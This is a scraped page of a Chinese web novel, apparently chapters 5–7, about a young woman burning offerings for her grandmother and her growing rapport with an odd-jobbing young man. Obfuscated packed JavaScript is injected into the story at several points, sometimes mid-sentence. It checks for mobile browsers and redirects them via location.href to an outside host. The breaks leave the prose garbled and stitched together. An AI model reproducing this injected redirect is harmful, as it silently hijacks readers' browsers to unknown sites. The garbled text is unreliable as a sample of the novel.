l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419250|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓捣了几天，搞出一套视频相册，每个视频里循环播放扫描版老照片，配以怀旧金曲。 照片左侧一律添加竖行红色楷体字，作为背景注解。他把这些视频发到家族群里，郑重地宣布：“以后我们家的照片就都用电子版保存了。” 等到阴历七月十八这天，孟至果然全天没有白事业务，一直待在自己的公寓里。她今天只做两件事：傍晚和方师傅拆家具，夜里去十字路口给姥姥烧头七。 刘校长今晚加班，不会管头七这事了，孟至索性叫老孟也不用过来了。 在等待方师傅上门的时间里，孟至掏出平板，登陆社交平台账号。这个账号从参加工作那年开始运营，专门讲解和推销寿险。 私信列表里积攒了许多未读消息，这些来信多数是咨询保险知识的，并不是为了在她这里买产品。孟至还是逐一热心解答，仿佛在为国民义务科普保险。然后她发了一篇帖子，说自己短期不再做销售。就这样，从前的身份真的告一段落了。 一直忙到下午四点，孟至突然想起来，自己时常去墓园跑业务，却忘了顺便在那边买一刀烧纸回来。 现在她差点空手去烧头七！ 没有任何犹豫，孟至翻身从沙发上滚落。她先给方师傅留言，让他今天晚点过来，也可以改日再来。然后她匆匆换上一件干活穿的长款男装T恤，出门去找纸钱去了。 走街串巷，找了一个多钟头，竟然连一家香火店也没有。以往不需要买纸钱时，街边却经常停着面包车，后车厢里摞着一捆一捆的烧纸，颜色苍黄，像泥土一样。 沿途有不少露天烧烤摊，满街白烟飘荡。前几天白昼气温已经降到二十度，这几天重新升温，老家把这种夏季返场安可叫做秋老虎。 太阳西斜，地面吸收了一天的光线，缓缓释放着热量，孟至头脑发昏，恶心气短。 她尽量走在树荫下，不抱希望地拐进一条狭窄野路，往另一片居民区里挺进。不知这类香火店一般叫什么名字，在地图上都搜不出来，孟至边走边四处张望，仿佛大海捞针。 就在孟至认清现实、准备长途跋涉去墓园附近的丧葬一条街时，一块褪色的木牌出现在胡同尽头，上面写着：佛香源。 孟至深一脚浅一脚走到门前，双腿打晃，登了三级台阶。接着她有气无力地推开店门，刚说了一句：“有纸钱吗——” 就两眼一黑，跪倒在地。 一双有力的大手半扶半抱地把她架起来，一个熟悉的声音在她耳边说：“不是约了今天傍晚吗，怎么自己找过来了？” 5. 香火店灵异事件 孟至被扶着坐在塑料凳上，那人在她手里放了一杯水。孟至喝了一口，发现那是冰镇汽水，气泡跃动着跑过口腔。眼前的雪花退下去后，她看到方铭双手撑在桌子上，正低头专注地看着她。 “哎，小方？”孟至十分意外，冲他摆手打招呼，“这么巧啊，你来这儿换锁吗？” 方铭含蓄地勾起嘴角，说：“没，我只是替人看店的。没想到这种香火店，还真有灵异事件呢。” “是吗？”孟至不太关心他替谁看店，她更喜欢灵异事件，“什么灵异事件？你是不是属于体弱的那种人，能看见不干净的东西？”她动不动就去墓园跑，却一次鬼神也没碰上。 他注视着孟至的脸，好像在用目光描摹轮廓。接着他转头看向门口：“刚才有个不明女子，一进来就要纸钱，说完就跪倒了，长头发蒙了一脸。我还以为是哪个鬼魂显灵了，来找人讨账呢。” “我那是中暑了！”孟至气笑了，挑起一侧眉毛，当仁不让地问道，“有我这么好看的鬼吗？” 方铭原本在默默地看她，现在又把目光移开了：“没有。” 孟至笑了一声，又灌了一口汽水。方铭抿起嘴唇，淡淡地说：“逗小孩儿呢？” “有你这么大的小孩吗。对了，你怎么在这里看店？”孟至环顾四周，“今天不用上班吗？”她觉得方师傅自强不息，调休日也要打零工，或许就是因为这个，他才累成了一副忧郁状。 周围三面墙全是货架，摆满了佛香、佛龛和炉鼎之类的物件，品种齐全，色泽靓丽。方铭被这些法宝簇拥在中间，整个人冒着佛光。他随意地靠在椅背上，懒洋洋地说：“哦，开锁的工作本来也是做着玩玩，现在不做了。今天白天来替人看店铺，傍晚去你家里拆柜子。” 孟至哦了一声，没再多问。按照她的猜测，现在实体企业效益不好，方师傅很可能是被公司开除了。 不过她并不当回事，更不会主动戳穿，让人家没有面子。她觉得实在找不到工作的话，还可以去居委求助，居委会帮他联系的。斯基当年初中还没毕业就去了国外，孟至嘲笑她连个初中文凭都没混上。大概是斯基在居委的学历登记没有更新，后来有工作人员给她打电话，诚恳地劝说她，你去学个手艺，小学文凭也可以做的…… 想起这里，孟至打量着方铭，他果然没有穿工装。今天他穿着宽大的白色T恤和灰色短裤，手臂和小腿上肌肉隆起，和那张脸不像是同一个人的。孟至收回目光，对着方铭面前的笔记本电脑一扬下巴：“那你这是在看招聘网站？” 方铭带着高深莫测的微笑说：“这个吗，是在画图呢。” 孟至恭维了一句：“心灵手巧。”只是不知道他是在设计螺丝，还是画简笔画解闷？她站起身来，踱到他背后，突然探头过去，越过他看着屏幕：“画的什么图？” 可惜绘图软件已经被最小化，她只看见暂停播放的动漫。孟至的酒红色长发垂到他的肩头，又被她拨了回去。 有一瞬间，方铭似乎屏住了呼吸。然后他说：“你要看吗？还没画好，总觉得不太满意。” 孟至当然是说：“那不看了，等你画满意了再说。” 方铭指着屏幕说：“要一起看动漫吗？不过是纯日文的，没有字幕。” “你真行啊。”孟至惊叹道，“你会小语种？” “我自学过。” 迎着孟至敬佩的目光，他继续说道：“可惜不小心学成女式语法了，现在只能听，不能开口说。” 孟至共情了：“恩，人家会把你当成变态的。” “你来店里买纸钱吗？”方铭站起身来，从角落里翻出几捆黄纸，“这样的行不行？” 孟至差点忘了头七的仪式，急忙说：“对，就是这种。”她想一次性买够头七到三七的用量，就要了六捆黄纸，再加三麻袋的金元宝。 方铭一边用黑色塑料袋打包，一边低声问道：“是谁的忌日吗？” 孟至扫了付款码，尽量云淡风轻地说：“我姥姥，今天头七，一会儿我去烧纸。” 方铭指了指地上的几个大黑袋子，一脸单纯地说：“不介意的话，可以等到天黑，在我们店里烧完，我们店处在十字路口，提供祭奠服务的。然后我开车送你回去，正好去你家拆柜子。” 孟至懒得自己拎回去，毫不犹豫地说：“就这么干。” 方铭垂下眼睛，嘴角上扬，非常悦耳地恩了一声，开始在电脑上画图。孟至克制住好奇心，没再过去看屏幕。 她起身走到货架前，背着手看那些宝贝。身后传来方铭的解说：“你面前的串珠都是开过光的，有紫檀和沉香的，还有菩提子。” 眼前一堆五花八门的串珠，类似青龙师兄会佩戴的饰品。孟至点了点头，又去看旁边货架。方铭的声音又传了过来：“那些都是旧书，现在都绝版了。” 孟至低头一看，顿时就嚯了一声。只见最上面那本的破烂书皮上写着：《风水先生变苍龙》。这不是姥爷小时候看的书吗？ 她怀疑地问：“地摊文学也分绝不绝版啊？”方铭咔咔点击鼠标，假装忙着画图，没有接话。 她故意又往旁边横移一步。果然，方铭的解说如约而至：“那是寿衣，女款的，分为好几种样式，对应不同的情况。比如老太太已经丧偶，寿衣款式是一种，没有丧偶，款式又是另一种……” 想到他可能刚刚失业，孟至建议道：“你的声音很好听，像流水一样叮叮咚咚的，可以去博物馆录那种讲解音。” …… 傍晚七点，天色终于暗了下来。方铭找出一个硕大的铜盆，庄重地放置在十字路口，这不像是本地的习惯。他解释说：“新时代烧纸，应该环保一点，别在街上留灰。” 孟至赞许地点了点头，然后左右张望，确认这附近没有卖货的流动摊位，以免纸钱燃烧产生的浓烟惹人厌恶。 掏出两捆烧纸和一袋金元宝后，两人开始大眼瞪小眼。 孟至问：“你这里有笔和打火机吗？” 方铭回店里翻出一支笔，但没有找到打火机。孟至奋笔疾书，匆匆在一张黄纸上写了姥姥的名字和墓园地址，当地把这张纸叫做“表”。 然后她拿着“表”大步走开，去距离此地最近的一个烧烤摊上借了火，冲回来引燃其他纸钱，一起放进铜盆。铜盆里窜起了火焰。 “没有铁棍，我去找根树枝。”方铭发现没有拨火棍，转身就要去四处寻觅。 “不用不用，拿那个就行。”孟至指着墙角一张不要的破桌子，问隔壁门市里的大姐，“姐姐，这个桌子腿借我一根行不行？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419251|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大姐十分热情，走出店来，从铁桌上掰下那根桌子腿，爽快地递给孟至。孟至接过来拨弄着火堆，跟人家连声道谢，方铭也跟着点点头。 在人仰马翻的合作中，局势终于稳定下来。孟至不停地往铜盆里添纸，方铭接过桌子腿，将下层没烧起来的纸翻到上层。 火借风势，风助火威，晚风一吹，那火盆熊熊燃烧，热浪直冲门面。方铭低声说：“我来翻，你念叨念叨吧。” 当地人烧纸时会念叨着一些话，那是对逝去的亲人的呼唤。拨火的人口中念念有词，奶奶取钱来吧，爷爷取钱来吧……于是，燃烧的纸钱就被列祖列宗顺利取走，而飞出去的碎片则被认为是送给孤魂野鬼的零头。 孟至凝视着铜盆里越来越高的火焰，每一片黄纸都在火中翕动。她张口就说：“姥姥取纸来吧。” “……”方铭咳了一声，以掩盖从鼻子里喷出来的笑声。 “姥姥取钱来吧。”孟至改口道，“喜欢什么，在那边买点儿。”其实她很想问问，姥姥到了那边是不是已经见到了她的父母？那她变回了小孩的样子吗？ 如果是这样，那父母也见到了父母的父母，岂不是也得变成小孩？或者按照孟至的设想，那边的每个人是有分身的，在父母面前是孩子，在孩子面前是父母。 但是当着小方的面，她不想念叨这么多。不远处，一位大哥坐在塑料凳上，聚精会神地观赏烧纸，看得津津有味。又有一对母女经过火堆，女儿看着火焰，看到痴迷，脚下一个踉跄，撞到母亲身上，引起了她母亲的大骂。 火焰逐渐熄灭了，孟至低声对方铭说：“还都怪喜欢看热闹的。” 方铭低头笑了一下，把烧黑的桌子腿安回到那张破桌子上。铜盆彻底冷却，灰烬覆盖了盆底。孟至原本以为，今晚独自烧纸时她会郁郁寡欢，想不到这场仪式竟在鸡飞狗跳中热闹地结束了。 剩余的几兜财富，就寄存在店里，那是留给二七和三七的。方铭拉下香火店的卷闸门，带着孟至走到车边，率先坐进驾驶位：“走吧，去你家。” 借着灰蒙蒙的路灯，孟至看他开的好像是一辆面包车。虽然这车不像是和女孩约会时开的车，但为了表示尊重，她还是问了一句：“我是坐副驾，还是坐后排？” “副驾。”他一边扣安全带，一边看着方向盘说，“我的副驾不是专属座位。” 孟至坐到他旁边，故意惊讶地问：“不是专属，那你是经常换女伴呀？” “不是的。”他发动汽车，在打火声里软绵绵地说，“我没有过女伴。” 孟至懒洋洋地笑了，心想这小方果然年轻，竟连恋爱都没谈过。她自己也没有谈过男朋友，不过她坚持认为自己是出于新时代女性的风范，独立迷人，以事业为先。只是现在回到老家，不知事业在哪里？ 扣好安全带，孟至回头一看，才发现这其实是一辆小型货车，根本没有后排座位。 车子行驶在大街小巷，往孟至的公寓开去，途径无数烧烤摊，一桌一桌的人在白烟中碰杯。一路上孟至若有所思，时不时转头问一句：“你说，我们会不会也是谁的魂呢？比如另一个世界的人的魂？我们赚的工资就是那边烧过来的纸？” “……”方铭嘀咕了一句，“那还要我打工来换纸，太黑心了。” 6. 你很漂亮 孟至席地而坐，背靠墙壁，看着方铭徒手对付那些老家具，看得津津有味。他搬着写字台的台面，左右晃动，向上拔起，台面就和底座的桌斗分离开来。 书柜的拆法大同小异，只是书柜分为三部分，上方是几层书架，中间是伸出来的桌面，下方是带柜门的斗橱，拆开以后分为三块。木柜年代久远，他必须下手格外小心，以免那些木板一碰就自己散架了。 那忙碌的身影令孟至越看越顺眼，她十分和蔼地问：“小方，你今天是替谁看店呀？” 他回头答道：“替我姐。” 孟至也没问是干姐姐还是表姐姐，又笑眯眯地说：“小方，说几句日文听听。” “綺麗だね。” “这是什么意思？”孟至谦虚地问道。方铭却一直不回答，只是埋头干活。于是她说：“其实我也会一点日语。” 他转过头来，用清澈的眼神看着孟至。孟至说：“八嘎。” “……”方铭转移了话题，“今晚怎么只有你自己烧头七，你家里人呢？” 也许是因为刚才方铭陪她烧了纸钱，孟至现在对他有一种说不上来的亲近感。她主动说起刘校长献身工作，老孟沉迷于制作视频相册，所以今晚只有自己烧头七，还说起爷爷奶奶去世的时候，自己还很小，只记得那年的大年三十晚上，一家三口去烧纸祭奠他们。 方铭恩了一声：“冷不冷？” “冷。不过一点火就暖和了，难怪游牧民族都要围着火塘喝茶呢。”孟至盘腿坐着，仿佛自己也是火塘旁边的一员。她向方铭描述那些除夕的画面： 冰天雪地，十字路口，黑夜沉沉，一堆火焰腾起。有些店铺讲究年三十夜里不熄灯，所以马路上并不昏暗。黄纸燃烧后变成满地的黑色碎片，拼成了一朵巨大的黑色牡丹花。那花朵仿佛通体金丝绒质地，花瓣镶着燃烧的橘色金边。可惜当他们离去时，地上会遗留一滩痕迹，与除夕夜的爆竹灰烬混合在一起，不符合今晚方铭提出的新时代环保理念。 方铭开始拆五斗橱。他听孟至不再出声，就回过头来看了她一眼，低声问道：“你很想念他们？” “他们？”孟至反应了一下，才明白他指的是祖辈。她挥了一下手，虚情假意地笑着说：“哪呀，我对爷爷奶奶没什么印象了。姥姥姥爷那边吧，印象比较一般。” 当年孟至的姥姥姥爷互相打架，对刘校长不管不顾。但刘校长对孟至也是一样，她基本没有照料和教育过孟至。在孟至看来，刘校长那暴躁的脾气、深重的戾气、对工作成绩超乎寻常的执念，都是因为没有得到爱；而她反复地控诉往事，纠缠不休，是因为还在渴望爱。她渴望的是过期的爱，永远不可能实现。 “你和姥姥姥爷关系不好吗？”方铭换上一副关怀的神色，但他的眼神出卖了他，看起来他是觉得孟至不喜欢姥姥姥爷，今晚才故意让姥姥来取纸。 孟至诚实地说：“他们和我妈关系不好，但是他们照顾过我。小时候主要是我爸抽空带我，有几年他去外地支援了，我就住在姥姥家。” 见孟至又不说话了，方铭试探着问道：“那你喜欢他们吗？” “说实话，我不知道。”孟至摇着头笑了，“我姥姥姥爷只会在家吵架，一天八小时，跟上班似的。” 家具都拆完了。方铭走到孟至身边，挨着她坐下，轻声问道：“那你不喜欢他们？” 孟至答非所问地说：“后来我回到父母身边了。” 方铭不眨眼地盯着她，孟至开始向他描述当年的画面。在他们休战的间隙里，孟至的姥爷会去买菜做饭，而孟至的姥姥会给她攒手抄报。她从报纸和杂志上剪下来一个一个豆腐块，用一个大夹子夹上。等到下一次见到孟至，老太太就把这一大本交给孟至，留着给她写作文用，可谓是最初的手帐鼻祖。 末了，孟至又告诉方铭，那个大夹子是她姥爷平时夹胡子用的，他不用刮胡刀，就用夹子一根一根往下薅。 方铭低声笑了起来，他的笑声和说话声一样柔和沉静，好像能够催眠一样，孟至听得眼皮都发沉了。她晕晕乎乎地想，家住B612星的小王子长大后，可能就会发出这样的声音。 她打起精神，对他一笑：“你是个很好的听众。” 他垂下眼睛，看着孟至的脸，若无其事地说：“我还是个很好的观众呢。” 孟至笑了一下，没有搭腔。她站起身来，看向一地的木头部件，甩动长胳膊长腿，口中念念有词：“等我一下啊，我热身一下，就和你一起把这些搬下去。” 方铭淡淡地笑着问：“搬得动吗？” 孟至双手抓住桌斗，双膝微蹲，后腰发力，铆足了劲往起一提，竟然提不起来。但她认为这是因为今天刚中过暑，浑身还在发虚，双手才会使不上劲。方铭伸手把她拦到一边，自己一手拎桌斗，一手夹着桌板，几步就走到了门口，回头说：“你帮我开门就行。” 她急忙打开防盗门，又象征性地伸出手来，装作要帮忙托扶的架势，演绎出一系列假动作。方铭往返几趟，把散装老家具搬到门外，再一件一件码进电梯轿厢，一趟就运了下去。 散装家具全部装进后车厢，方铭说了声下次见，就坐进了驾驶舱。孟至绕到车窗边，车窗玻璃降了下来，方铭微微抬起眉毛问：“姐姐，还有什么事吗？” “还没付你运费呢！”孟至晃了一下手机，“今天不耽误你运货了，下次请你吃饭。” “不行的。”方铭一手搭在方向盘上，轻轻摇头，状似苦恼，“我这是蓝牌货车，属于私人的，如果用它有偿营运，可就违规了。拉自己家的东西还是可以的。” 孟至哽住了，这是她先前没有想到的。方铭又说：“你平时不太留意规则啊，姐姐。” “要什么规则。”孟至捞起红色的长发，往肩膀后面一甩，理直气壮地说，“我是做业务的。”此前的职业生涯里，孟至只需冲锋在外，对枝枝蔓蔓的规则毫不在意。在她看来，只要能做成一笔保单就是大获全胜。风控合规部的同事则像拿着竹竿的放马人，在后方追击拦截，以保证业务员始终远离悬崖，按照标准规范流程作业。 “这次算我帮你忙，下次请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419252|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吃饭就行了。”方铭发动汽车，最后看了她一眼，似乎要用眼睛把她吸过去。接着他一脚油门，货车沿着街灯向远方驶去。 那两串街灯就像淡青色的珠子，将道路夹在中间。孟至看着货车消失在街灯的夹道欢送中，仿佛要去天边的夜市。她突然想起小时候学过的诗句：远远的街灯明了，好像闪着无数的明星。 想起方才他说的那句日语，孟至掏出手机，硬是用拼音查出一句高度近似的。她听了几遍，觉得这就是刚才方铭说的话。这句话的中文翻译是：你很漂亮。 孟至淡淡地笑了一下，转身往小区走去。走了几步，又驻足观看东边的月亮。那轮月亮圆中有缺，悬浮在铁塔的尖端之后，被黑色的塔尖贯穿，就像是踮脚站在塔顶、躲在那根铁柱后面。 头七的纸钱烧完了，方铭带着老家具离开了，现在孟至百无聊赖。葬礼结束以后，孟至独自留下来领骨灰，将骨灰放进盒子里。看见灰白的粉末时，她才真正明白人死如灰飞烟灭。死亡带来空洞而悲凉的感觉。 方才烧头七时，她没能来得及悲伤，现在这种悲伤姗姗来迟。她一直看着月亮移出铁塔尖，才重新抬腿。 各式各样的歌舞声远远传来，距离这里两条街的公园里，多个队伍在唱歌跳舞，夜夜上演嘉年华。只有在夏季，夜生活能在东北铺展开来，可惜这里的夏天非常短暂。孟至无法忍受这种寂寞的心情，她变换方向，朝着附近一处烧烤摊走去。 如同万千烧烤店一样，这家烧烤在其他季节只是一家门店，到了夏天就占领门前的人行道，支起凉棚，摆出一排排低矮的小桌和板凳，变成夏夜露天烧烤。这种凉棚边缘通常会有一座烤架，长方形槽子里装满了烧红的碳。 孟至挑了一处上风口的位置，坐在矮凳上，仰望着过路的车辆和行人。凉棚的那一端果然有座烤架，一双手不停地翻动着炭火上的肉串。 一个高胖大哥坐在孟至斜对面，挡住了她的视线，让她无法看见烤串老板的脸和身体。喊了两声老板，那边的人纹丝未动。 见老板在忙着，孟至也就不急着点菜。她先跟邻桌的人聊了两句：“最近忙啥呢？”不知道的人，还以为他们彼此认识。 邻桌那人一拍身下的轮椅，大声说：“最近把腿摔了！这不，坐轮椅来撸串了吗！” 等到烤架上的那双手捞起一沓肉串，孟至知道这代表着一批烤物制作完毕。趁此空档，她起身走向烤串老板，同时大声报数：“哥，给我来十串牛肉，十串羊肉，十串蘑菇——” 看到烤串老板的脸时，孟至整个人都惊呆了。在墓园做法事时，她始终没有遇到灵异事件，但现在她觉得自己见了鬼了。 站在烤炉前面卖力工作的，竟然是白T恤灰短裤的方师傅。 孟至瞪着完全睁开的猫眼，和他面面相觑。这个人白天去香火店兼职，傍晚替人拆家具，夜里又来烤串？ 在他无辜的目光里，孟至直勾勾地盯着他手中的烤串，缓缓发问：“你……到底打了几份工？” 他却好奇地问：“你刚才叫我什么？” 7. 烧烤小弟 炭火上冒出的白烟包围了孟至。她往远处移开几步，背靠在烧烤店的外墙上。长款T恤遮到大腿，刚好露出短裤的一个边，两条结实的长腿和墙面形成夹角。她对方铭说：“小方老板，给我来十串牛肉，十串……” “我记着呢，”方铭把烤好的肉串放进铁盘中，嘴角带着若有若无的笑意，“姐姐，你一人吃三十串啊？” “我白天没怎么好好吃饭，就指着这一顿呢。”孟至一脸舍我其谁的表情，“你呢，今天吃了几顿？”她怀疑小方忙着打工，根本没有吃东西。 小方尚未回答，一位花臂大哥急急忙忙地从店里走出来，扎着两手，前后摆臂，一路小跑到烤架前，客气地说：“费心了，兄弟，你坐着去吧。”看来是上下级关系处得非常好，竟像亲兄热弟一般。 方铭走向上风口，走了几步，回头对孟至抿嘴一笑：“还不来吗？” 孟至大步穿过烟雾，跟着他来到桌边。想不到他带头落座，气定神闲，还对紧随而来的花臂大哥报了菜名，除了孟至点的三十串之外又加了若干。 大哥转身离去之前，方铭特意叮嘱：“麻烦别放太重的调料，我喜欢清淡一点的。”他竟对顶头上司摆出了消费者的态度，好像忘记了自己的身份。孟至在一边看着，差点问他，喜欢清淡还来吃烧烤？ 等到花臂大哥走出视野，孟至挪着板凳，凑到他胳膊旁边，压低声音问道：“工作时间吃东西，能行吗？” “没事的，”方铭微微低头，睫毛轻颤，“我今天也没有怎么吃东西，好饿啊。” 孟至心里涌现出一种强烈的同情和怜惜，她突然觉得小方可能是为了节约开支，才一天只吃一顿饭。 她压低嗓音，匪气十足地说：“管他呢！你吃吧。老板要是说你的话，我帮你顶着。”她担心小方知道这顿是她请以后，就不好意思多加菜了，所以她先没说这顿算她的。 不多时，老板端着属于他们的铁盘出现了，铁盘里码得像一座山，都上尖了。 方铭启开汽水瓶，放到孟至面前，替她插好吸管。接着又垫着纸巾拈起牛肉串，连同缠在竹签上的纸巾一起，交到孟至手里：“小心油。” 孟至接到手中，二话不说，把红色的长发甩到脑后，沉浸地品尝着滋滋冒油的肉块。 等她吃完一串，又喝了半瓶汽水，才发现方铭面前已经堆了一把竹签。这小子不声不响地席卷了铁盘里的半座山，看来是真饿了。 见孟至吃完了一串，方铭又换了一块新的纸巾，拈起下一串递给她。孟至一手接过来，另一手拿起一串，反送到他的手中。两人吃出了一种推杯换盏的感觉。 很快，桌上堆起了用过的纸巾。方铭从邻桌拿来一张宣传单，歪着头问孟至：“你会折纸盒吗？我自己在家的时候，经常折个纸盒来装垃圾。” 孟至故意说：“不会哎。” 他把纸举到孟至眼前，一下一下翻折着，一只敞口的盒子诞生于他的手掌中。孟至却说：“没看懂哎。” 方铭笑了，轻轻拆开纸盒，重新慢速折了一遍。 孟至说：“其实我在逗你，我会折。” 他把桌上的废纸捡到纸盒里，低声说：“又逗我。” 夏末秋初的晚风吹来，凉得像水一样。天空彻底暗了下来，穹顶变成了深蓝色，街道上的人就像走在水族馆的拱形水箱下。方铭安静地注视着孟至，她那张偏窄长的鹅蛋脸上带着明亮的微笑，苍白的脸颊因为撸串而泛起血色。周围的喧嚣声浪仿佛离他们越来越远。 孟至知道方铭在看着自己，她又喝了几口汽水，对他一扬下巴：“小方，以后我罩着你吧！” “怎么罩？”方铭换上一副好奇的神情，微微偏着头，眉眼之间流露出俊秀的笑意。 “你看啊，我在老家其实没什么朋友了，都不知道这些年新修了什么地方，也不知道该去哪玩。”孟至举着肉串，用托付重任的眼神看向小方，“以后我听说哪有好吃的、好玩的，我就带上你。你要是知道哪里好玩，也带上我。” “那就这么定了。”方铭顺从地说。 孟至想起今晚的家具，关心地问道：“那些旧家具都运到回收站了吧？顺利吗？” “顺利的，其实是运到我……我们的一个工作室。”方铭低头一笑。她以为这是垃圾回收工作室的意思，而他或许还是垃圾站主理人，是他众多零工身份中的一个。 于是她没有多问，只是又递给他几根肉串：“你也不要太累了。我看今晚这个烤串老板就挺好的，你中途坐下吃饭，他也没催你干活。”她怀疑他也是花臂大哥的小舅子。 方铭说：“他不会催我的。”顿了顿，他又说：“我来的时候就坐在炉子旁边那桌，有两串好像要糊了，我就过去给翻了个面。” “啊？”孟至茫然地问，“你到底是顾客还是店员？” 他看起来比孟至更加茫然：“不知道怎么回事啊，旁边人都在催我上菜，我就接着烤起来了……” 孟至眉毛跳动，笑容中逐渐腾起了杀意，她终于意识到自己被骗取了泛滥的同情心。而披着羊皮的小方，始终愉快地微笑着，仿佛一位坐在樱花树下拍写真的漫撕男，与白烟笼罩的烧烤摊分处两个图层。 夜色转为蓝黑时，两人面前的铁盘终于空了。方铭习惯性地用纸巾来回擦拭着桌面，在孟至看来完全是风流倜傥中流露着成熟而居家的气息。她笑嘻嘻地说：“你很爱干净啊，小方。“ 小方羞涩一笑，起身喊花臂大哥结账。 孟至立刻合身扑上去，像战士一样奋不顾身：“我来我来，说好了我请的。”她用一只手挡开扫码器，另一只手往外拽他的手机，整个人差点挂在他身上。 方铭一手抓住她的两只手，缓缓按下，同时用另一只手付款。和夜风相比，他的手掌格外温热。 他垂眼看着扫码器，冰凉地问：“为什么要让你请？”付款成功，他慢慢松开孟至的手。 孟至平时不喜欢欠人情，这下却连续欠了两次，她既没有支付家具清运费用，又让打零工的人请自己吃饭。她觉得自己像一个欺压小孩的街霸，于是说：“你什么时候有空，我请你吃饭，正好你带我逛逛。 “好的，我会找你的。”方铭举起手机，“你的真名叫什么，可以告诉我吗？我想备注一下。” “可以啊，我给你打出来。”孟至伸头去看他的屏幕，“我现在叫什么？我都忘了。” 孟至的微信名片显示，她此前一直叫：A吉赛尔1303696××××AYA寿险。 她伸出一根手指，一指禅点来点去，直接在他的手机屏幕上打名字。 方铭低头看着，冷不丁问道：“这个吉赛尔，是你另一个名字吗？可以叫吗？” 孟至警告他：“别叫。”然后挥手转身，走向自己的公寓。 东方的月亮越升越高，之前那种惆怅落寞的心情已经荡然无存。大风迎面吹来，孟至微微张开双臂，就像穿行在江浪里，又觉得自己在和一阵风拥抱。 但很快，文艺电影般的桥段戛然而止，孟至突然驻足不前。 一只巨型恶犬站在道路中央，呲牙咧嘴地向四周扫视，仿佛在用眼睛发射子弹。它的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419253|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神十分邪恶，似乎已经饿到走投无路，将要不择手段。那不像是狗的眼神，而像是一个恶毒的人的眼神封印在狗脸上。 这时已经是深夜，这段街道几乎没有行人。孟至张着手站在原地，和狗紧张对视，两腿还维持着一前一后迈步的姿势，看起来非常搞笑。 但她不敢轻举妄动，她担心这只狂犬像森林里的黑熊一样，一旦看到她转身逃窜，就会冲上来撕咬她。她的后背都出了一层冷汗，被风一吹，浑身直打哆嗦。 在这紧张刺激的时刻，她听见身后响起轻微的脚步声。转头一看，一个和她年龄相仿的女孩走到她身边，轻声说：“野狗，可能是被人遗弃的，饿得发疯了。” 孟至急忙往她身边靠了靠，她也往孟至身边靠拢过来，两人都胆战心惊。孟至觉得这样会显得自己不够勇敢，就壮着胆子说：“没事，咱们绕过去。”她绕到那个女孩的另一侧，企图用自己掩护着她。 那个女孩却拉住孟至的手臂，把她带到自己身后。孟至不想躲在人家后面，于是两人手拉着手，像螃蟹一样横着走，始终正面朝向狂犬。 走到近前，两人拼命贴着人行道边缘的铁栏杆，都想离狗越远越好。她们有一种心照不宣的默契，从一个对视里读懂了对方的意思，准备随时翻过栏杆去逃活命。 然而那只狗恶毒地注视着她们，忽然一扭身就跑了。狗身几个高低纵跃，跨过灌木丛和栅栏，消失在夜幕和树林中。 等到再也听不见狗蹄声，孟至长吁一口气，差点坐到铁栏杆上。那个女孩打了个摆子，拉着她说：“快走吧！到前面那条街，人就多了。” 两人已经出了一手的汗，但谁也没松开手。她们互相拽着，拔足狂奔，深一脚浅一脚地跑到下一个街区，直到看见一家挨一家的店铺，才放慢脚步。 孟至转头看着她，发现她长着桃心形状的脸，大眼薄唇，下巴尖尖。孟至感到心旷神怡，露出了迷幻的笑容，在心里叫她水冰月。 水冰月也对孟至露出劫后余生的笑容，让人想起童年看过的少女漫。两人抬起拉在一起的手，乱晃几下，象征着握手。 水冰月指着路边说：“我想吃点东西压压惊。”说完，她双腿打晃，迈步走进小卖店，拿了一根雪糕，一口气吃完。而后双手撑着冰柜，数次深呼吸，又选了一根，还是一口气吃完。 整个过程，水冰月一言不发，脸色凝重。 孟至感慨地说：“看来你是真紧张了。” 水冰月指着孟至手里的汽水说：“你也挺猛呀。”孟至一只手拎着一个空瓶，正在仰头灌第二瓶，瓶子里的汽水都出漩涡了。 等到两人不再筛糠般地发抖后，孟至问：“你是在这附近的大学念书呀？” 她却说：“哪呀，我都工作十几年了。” “噢，我还以为你是学生。”孟至咬着新买的烤肠说，“我在南方工作过三年，最近回老家了。” 水冰月说：“那我比你大了快十岁。”她似乎担心孟至会为年龄差而吃惊，但孟至在回味烤肠的淀粉味，看起来就像在睁着眼睛睡觉。无论别人和孟至说多么惊人的事情，她的反应都十分平静。 头七这天的末尾，孟至的运气逐渐好转，仿佛接到纸钱的姥姥在保佑着她。她终于在老家有了朋友，他们一个是归她罩着的小方，另一个是活人版水冰月，真名叫做舒克和贝塔的舒贝。 